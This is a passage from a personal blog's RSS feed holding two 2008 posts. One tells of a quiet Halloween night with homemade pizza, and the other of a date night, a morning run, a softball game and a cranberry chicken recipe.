		<pubDate>Sat, 01 Nov 2008 03:40:00 +0000</pubDate>
				<category><![CDATA[Bosco]]></category>
		<category><![CDATA[Family]]></category>
		<category><![CDATA[Food]]></category>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=946</guid>

					<description><![CDATA[After work I had a great 20 minute massage, deep tissue, and much needed. It was a good pain, if you know what I mean. I left feeling refreshed and relaxed. Afterward, I was on to the house to make some dinner and wait for the kiddos. When I walked up to the door I [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>After work I had a great 20 minute massage, deep tissue, and much needed. It was a good pain, if you know what I mean. I left feeling refreshed and relaxed. Afterward, I was on to the house to make some dinner and wait for the kiddos.</p>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>When I walked up to the door I saw our beautiful little pumpkin all lit up.</div>
<div></div>
<div></div>
<div></div>
<div><img decoding="async" id="BLOGGER_PHOTO_ID_5263535760369950498" style="display: block; margin: 0px auto 10px; width: 400px; cursor: hand; height: 267px; text-align: center;" alt="" src="http://2.bp.blogspot.com/_UPTKfhGvyoM/SQvV4vtqnyI/AAAAAAAAAvI/Al9dRvc-zaY/s400/food+289.jpg" border="0" /> Hubby and I decided to stay home and hand out treats to the trick-or-treaters and we were the ONLY ones with the lights on, on our block. So we had TWO kids come to our house, now what do we do with all the leftover candy!!! Well at least dinner was fabulous:) We made some homemade pizza, well almost all homemade.</div>
<div>We bought a three pack pizza kit at Costco, and made it tonight. I think that homemade pizza is the perfect pre-race dinner. It has a well balanced amount of protein, complex carbs, fats and plenty of veggies. The kit comes with a whole wheat crust, and pizza sauce. I don&#8217;t put cheese on mine because it hurts my tummy. So I made it a his and hers pizza. Half bbq chicken with tomatoes Annie&#8217;s BBQ Sauce (I love this stuff!), red and yellow peppers. The other half was a chicken parm with mozz cheese, marinara, and chicken. It was yummy.. I wanted to eat it right off the rack! I added some salad to the side as well.</div>
<div></div>
<div>As you can see we need a pizza pan!</div>
<div></div>
<div></div>
<div><img decoding="async" id="BLOGGER_PHOTO_ID_5263536153518584354" style="display: block; margin: 0px auto 10px; width: 267px; cursor: hand; height: 400px; text-align: center;" alt="" src="http://2.bp.blogspot.com/_UPTKfhGvyoM/SQvWPoTmsiI/AAAAAAAAAvw/WamkxMIzA9k/s400/food+294.jpg" border="0" /><img decoding="async" id="BLOGGER_PHOTO_ID_5263536160224104322" style="display: block; margin: 0px auto 10px; width: 267px; cursor: hand; height: 400px; text-align: center;" alt="" src="http://2.bp.blogspot.com/_UPTKfhGvyoM/SQvWQBSUz4I/AAAAAAAAAv4/HQY7x2YGfW8/s400/food+295.jpg" border="0" /></div>
<div><img decoding="async" id="BLOGGER_PHOTO_ID_5263536165461922306" style="display: block; margin: 0px auto 10px; width: 400px; cursor: hand; height: 267px; text-align: center;" alt="" src="http://2.bp.blogspot.com/_UPTKfhGvyoM/SQvWQUzHkgI/AAAAAAAAAwI/7qpnaEFg7ds/s400/food+297.jpg" border="0" /><img decoding="async" id="BLOGGER_PHOTO_ID_5263536164677990882" style="display: block; margin: 0px auto 10px; width: 400px; cursor: hand; height: 267px; text-align: center;" alt="" src="http://4.bp.blogspot.com/_UPTKfhGvyoM/SQvWQR4NueI/AAAAAAAAAwQ/LKdM1vGYBBg/s400/food+298.jpg" border="0" /><img decoding="async" id="BLOGGER_PHOTO_ID_5263536161148575650" style="display: block; margin: 0px auto 10px; width: 400px; cursor: hand; height: 315px; text-align: center;" alt="" src="http://1.bp.blogspot.com/_UPTKfhGvyoM/SQvWQEuvH6I/AAAAAAAAAwA/cE6-jRCxAHg/s400/food+296.jpg" border="0" /><img decoding="async" id="BLOGGER_PHOTO_ID_5263535756520764450" style="display: block; margin: 0px auto 10px; width: 400px; cursor: hand; height: 267px; text-align: center;" alt="" src="http://4.bp.blogspot.com/_UPTKfhGvyoM/SQvV4hX8tCI/AAAAAAAAAvQ/D4M7uWr1kUg/s400/food+290.jpg" border="0" /></div>
<p><img decoding="async" id="BLOGGER_PHOTO_ID_5263535768985597714" style="display: block; margin: 0px auto 10px; width: 267px; cursor: hand; height: 400px; text-align: center;" alt="" src="http://4.bp.blogspot.com/_UPTKfhGvyoM/SQvV5Pzy9xI/AAAAAAAAAvY/pjIOLbmizpA/s400/food+291.jpg" border="0" /><img decoding="async" id="BLOGGER_PHOTO_ID_5263535769897210754" style="display: block; margin: 0px auto 10px; width: 267px; cursor: hand; height: 400px; text-align: center;" alt="" src="http://4.bp.blogspot.com/_UPTKfhGvyoM/SQvV5TNJE4I/AAAAAAAAAvg/u8JoTSqMAkA/s400/food+292.jpg" border="0" /><img decoding="async" id="BLOGGER_PHOTO_ID_5263535776147252610" style="display: block; margin: 0px auto 10px; width: 400px; cursor: hand; height: 267px; text-align: center;" alt="" src="http://1.bp.blogspot.com/_UPTKfhGvyoM/SQvV5qfRJYI/AAAAAAAAAvo/pK9VTR5Pfuw/s400/food+293.jpg" border="0" /></p>
<div>Well, we waited we watched the Food Network&#8217;s Haunted Gingerbread House Challenge, so fun. We waited and waited&#8230;played with Bosco, and waited no luck with the kiddos, so now we have all of this candy in our house and I am leaving for the weekend I better hide it from the hubby&#8230;lol&#8230;</div>
<p>Our front door with NO kids&#8230;:(</p>
</div>
<div></div>
<div></div>
<div><img decoding="async" id="BLOGGER_PHOTO_ID_5263536534168633538" style="display: block; margin: 0px auto 10px; width: 400px; cursor: hand; height: 267px; text-align: center;" alt="" src="http://2.bp.blogspot.com/_UPTKfhGvyoM/SQvWlyVpgMI/AAAAAAAAAww/AMKHj3pMWF0/s400/food+303.jpg" border="0" /><img decoding="async" id="BLOGGER_PHOTO_ID_5263536537342372610" style="display: block; margin: 0px auto 10px; width: 400px; cursor: hand; height: 267px; text-align: center;" alt="" src="http://1.bp.blogspot.com/_UPTKfhGvyoM/SQvWl-KU6wI/AAAAAAAAAwo/DxVNPMSCsF8/s400/food+302.jpg" border="0" /><img decoding="async" id="BLOGGER_PHOTO_ID_5263536542067861426" style="display: block; margin: 0px auto 10px; width: 400px; cursor: hand; height: 267px; text-align: center;" alt="" src="http://4.bp.blogspot.com/_UPTKfhGvyoM/SQvWmPw-J7I/AAAAAAAAAw4/M2k7Okv_OxM/s400/food+304.jpg" border="0" /></div>
<p><img decoding="async" id="BLOGGER_PHOTO_ID_5263536530656109730" style="display: block; margin: 0px auto 10px; width: 400px; cursor: hand; height: 267px; text-align: center;" alt="" src="http://4.bp.blogspot.com/_UPTKfhGvyoM/SQvWllQMpKI/AAAAAAAAAwg/sZCVvh8tXJ0/s400/food+300.jpg" border="0" /><img decoding="async" id="BLOGGER_PHOTO_ID_5263536523906052050" style="display: block; margin: 0px auto 10px; width: 400px; cursor: hand; height: 267px; text-align: center;" alt="" src="http://4.bp.blogspot.com/_UPTKfhGvyoM/SQvWlMG279I/AAAAAAAAAwY/PwrcAdIzh7Y/s400/food+299.jpg" border="0" /></p>
<div>Off to bed, a very early Halloween night. Hope it pays off tomorrow morning!</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://www.bobbimccormick.com/our-light-was-on-2/feed/</wfw:commentRss>
			<slash:comments>10</slash:comments>
		
		
			</item>
		<item>
		<title>Cheerleaders do have more fun;)</title>
		<link>https://www.bobbimccormick.com/cheerleaders-do-have-more-fun/</link>
					<comments>https://www.bobbimccormick.com/cheerleaders-do-have-more-fun/#comments</comments>
		
		<dc:creator><![CDATA[Bobbi from nhershoes]]></dc:creator>
		<pubDate>Sat, 25 Oct 2008 20:29:00 +0000</pubDate>
				<category><![CDATA[Bosco]]></category>
		<category><![CDATA[BSI]]></category>
		<category><![CDATA[Dinner]]></category>
		<category><![CDATA[Recipes]]></category>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=109</guid>

					<description><![CDATA[Friday nights are always the best. After being out all week and not having a second to catch my breath, the hubby and I decided to have date night at home. First we went to my schools Fall Carnival. I didn&#8217;t want to wear my origianl costume for Haloween in fear it would get dirty, [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Friday nights are always the best. After being out all week and not having a second to catch my breath, the hubby and I decided to have date night at home. First we went to my schools Fall Carnival. I didn&#8217;t want to wear my origianl costume for Haloween in fear it would get dirty, so I busted out the old highschool cheerleader uniform. To my suprise it was too BIG!!! I had so many parents come up to me and say they hope they can fit in there highschool chear outfits one day&#8230;lol.. All the little girls were all evil, and scary! What happen to princess and sweet costumes?<img decoding="async" id="BLOGGER_PHOTO_ID_5261201009596174018" style="display: block; margin: 0px auto 10px; width: 240px; cursor: hand; height: 320px; text-align: center;" alt="" src="http://3.bp.blogspot.com/_UPTKfhGvyoM/SQOKcXToDsI/AAAAAAAAAnI/PTvMQUO6NMM/s320/photocheer2.jpg" border="0" /></p>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><img decoding="async" id="BLOGGER_PHOTO_ID_5261201013728147218" style="display: block; margin: 0px auto 10px; width: 320px; cursor: hand; height: 214px; text-align: center;" alt="" src="http://4.bp.blogspot.com/_UPTKfhGvyoM/SQOKcmsw9xI/AAAAAAAAAng/bJOTTu-HB20/s320/food+200.jpg" border="0" />So after the carnival we had to decide where to eat out. These days I am super picky where we eat out for two reasons, on being that we try and only go out once a week so I want to make it special, and secondly I want to eat something that is not only deleciouse but somewhat healthful. Hubby wanted Chinease, and I used to love Chinease but a few too many food hangovers and I might have to say goodbye forever, unless I make it at home. Because there is a Chinease take out place right next to Tj&#8217;s, I decided to grab dinner there and that way we could both have what we wanted. As I browsed the isles in my cheer outfit, I had so many people come up to me and ask if I had a game tonight. Too FUNNY! I was still so indecisive on what to eat, I was thinking salad but that was boring so I got a cheesless veggie pizza and a bottle of wine (and since I was there I picked up a few things of course). I got some pumpkin butter which I loved from last year and some sweet potato french fries.</div>
<div>On the way home we grabbed a movie to take home. Hubby and I have learned to compromise on a suspense/drama movie sense he doesn&#8217;t do chick flicks:) So we got 88 Minutes, at first it was a little to gross for me but then as the movie went off I was on the edge of my seat the entire time!! Two thumbs up:) For dinner I made my pizza, and added a salad for some more veggies. The pizza was perfect I had seconds:) I had one glass of Cab to start with and then a second as the movie went on(I knew I was running in the am and didn&#8217;t want to overdue it). I also had a skinny cow for my little sweet tooth, love these things. We hit the sack early, a long week always poops me out, or maybe it was the red wine..lol..</div>
<div></div>
<p><img decoding="async" id="BLOGGER_PHOTO_ID_5261201012862202130" style="display: block; margin: 0px auto 10px; width: 214px; cursor: hand; height: 320px; text-align: center;" alt="" src="http://3.bp.blogspot.com/_UPTKfhGvyoM/SQOKcjeTsRI/AAAAAAAAAnY/C-MXSQO4x2o/s320/food+198.jpg" border="0" /><img decoding="async" id="BLOGGER_PHOTO_ID_5261201014467674514" style="display: block; margin: 0px auto 10px; width: 214px; cursor: hand; height: 320px; text-align: center;" alt="" src="http://1.bp.blogspot.com/_UPTKfhGvyoM/SQOKcpdFQZI/AAAAAAAAAnQ/uCm-ddv4P1Q/s320/food+197.jpg" border="0" /><img decoding="async" id="BLOGGER_PHOTO_ID_5261201465451285010" style="display: block; margin: 0px auto 10px; width: 320px; cursor: hand; height: 214px; text-align: center;" alt="" src="http://2.bp.blogspot.com/_UPTKfhGvyoM/SQOK25f9ChI/AAAAAAAAAnw/w9EspEwTCjY/s320/food+203.jpg" border="0" /><img decoding="async" id="BLOGGER_PHOTO_ID_5261201020106024258" style="display: block; margin: 0px auto 10px; width: 320px; cursor: hand; height: 214px; text-align: center;" alt="" src="http://4.bp.blogspot.com/_UPTKfhGvyoM/SQOKc-dXpUI/AAAAAAAAAno/2axhZ-1KKNI/s320/food+201.jpg" border="0" /></p>
<div>The alarm went off at 6:30am boo! Seeing that today is Saturday I hate setting the alarm. The hubby had a softball game at 8am and we had a coed right after that at 9:15am. So I decided to be green and go with him and during his game I could get in a good hour run. I was starving for bfast but didn&#8217;t want to eat too much before running so I had two pieces of Oroweat bread and some pumpkin butter, perfect pre workout meal along with a cup of joe.</div>
<div></div>
<div><img decoding="async" id="BLOGGER_PHOTO_ID_5261201480035346370" style="display: block; margin: 0px auto 10px; width: 320px; cursor: hand; height: 214px; text-align: center;" alt="" src="http://4.bp.blogspot.com/_UPTKfhGvyoM/SQOK3v1EJ8I/AAAAAAAAAoI/oVav1xB7UZs/s320/food+206.jpg" border="0" /><img decoding="async" id="BLOGGER_PHOTO_ID_5261201478327532562" style="display: block; margin: 0px auto 10px; width: 320px; cursor: hand; height: 214px; text-align: center;" alt="" src="http://4.bp.blogspot.com/_UPTKfhGvyoM/SQOK3pd4_BI/AAAAAAAAAoA/6QtRt-A3S_0/s320/food+205.jpg" border="0" />My run rocked this morning! I ran for <em><span style="color: #ffff00;">42 minutes, total of 5 miles, 8:15pace, and burned 600 calories</span></em>. It felt so good to be out there running, I have missed it. My body felt great, hammys a little sore but not too bad. I had a great stretch after and did 30 Push up and some plank moves. Needed a LARABAR for a quick snack.</div>
<div><img decoding="async" id="BLOGGER_PHOTO_ID_5261201482159064882" style="display: block; margin: 0px auto 10px; width: 320px; cursor: hand; height: 214px; text-align: center;" alt="" src="http://2.bp.blogspot.com/_UPTKfhGvyoM/SQOK33vZhzI/AAAAAAAAAoQ/neF-ZlH8Jlg/s320/food+207.jpg" border="0" /></div>
<div>We won our softball game, I got on base 3 times! One hit and the second two I walked:) After I ran I took my bro over to his girlfriends house(he&#8217;s getting so old:( ). Then I came home and worked on my BSI recipe. I came up with an old classic, inspired from my trips to Disney Lands Blue Bayou restaurant. A HEALTHY version of a Monte Cristo/Chicken Cordon Blue. I know both of these recipes are old but I wanted to mix them together and add cranberries! So my dish will be called Cranberry Chicken gone WILD! lol&#8230; It tasted Divine.</div>
<div></div>
<div></div>
<div><span style="text-decoration: underline;"><strong>Cranberry Chicken gone WILD</strong>!</span></div>
<p align="left"><img decoding="async" id="BLOGGER_PHOTO_ID_5261201807356338450" style="display: block; margin: 0px auto 10px; width: 320px; cursor: hand; height: 214px; text-align: center;" alt="" src="http://3.bp.blogspot.com/_UPTKfhGvyoM/SQOLKzMeIRI/AAAAAAAAAoY/Z-q9QTxy3iw/s320/food+212.jpg" border="0" /></p>
<div></div>
<div>1 chicken breast<br />
1/4 cup flour<br />
2 egg whites<br />
1 egg<br />
cup of fresh cranberry sauce( just cook your cranberries in 1 cup stevia and 1 cup water)<br />
1 tbs honey<br />
1 tbs Dijon mustard<br />
slice of low fat Swiss cheese</div>
<p>Directions:</p>
</div>
<div>Put the flour on a plate and put the egg whites in a shallow bowl. Dip the chicken in the egg whites and then in the flour and then repeat. Place some evoo in a frying pan on low heat and then add the chicken 5 minutes on each side. Take chicken out of pan top with Swiss cheese. On the side mix Dijon mustard and honey in a small cup, then smooth on top of cheese. To top it off take your warm cranberry sauce and drizzle on top of your chicken.</div>
<div></div>
<div></div>
<div><img decoding="async" id="BLOGGER_PHOTO_ID_5261201807335074706" style="display: block; margin: 0px auto 10px; width: 320px; cursor: hand; height: 214px; text-align: center;" alt="" src="http://2.bp.blogspot.com/_UPTKfhGvyoM/SQOLKzHZq5I/AAAAAAAAAog/iEdGwM-Q6LI/s320/food+213.jpg" border="0" /></div>
<div>Now I have Saturday afternoon chores to do before the Halloween Party tonight, so I have to get off this computer and get busy! Have a wonderful evening and I will be posting pics tomorrow.</div>
<div>Oh ya I have to share a wonderful act of kindness hubby did last night. There was a homeless man outside the restaurant and instead of just giving him money, hubby bought him a meal. He was even so kind to let him just order whatever he wanted&#8230;WOW&#8230;I think being a women I am sometimes afraid to approach men, I shouldn&#8217;t BE! When was the last time you practice a random act of kindness?</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://www.bobbimccormick.com/cheerleaders-do-have-more-fun/feed/</wfw:commentRss>
			<slash:comments>7</slash:comments>
		
		
			</item>
	</channel>
</rss>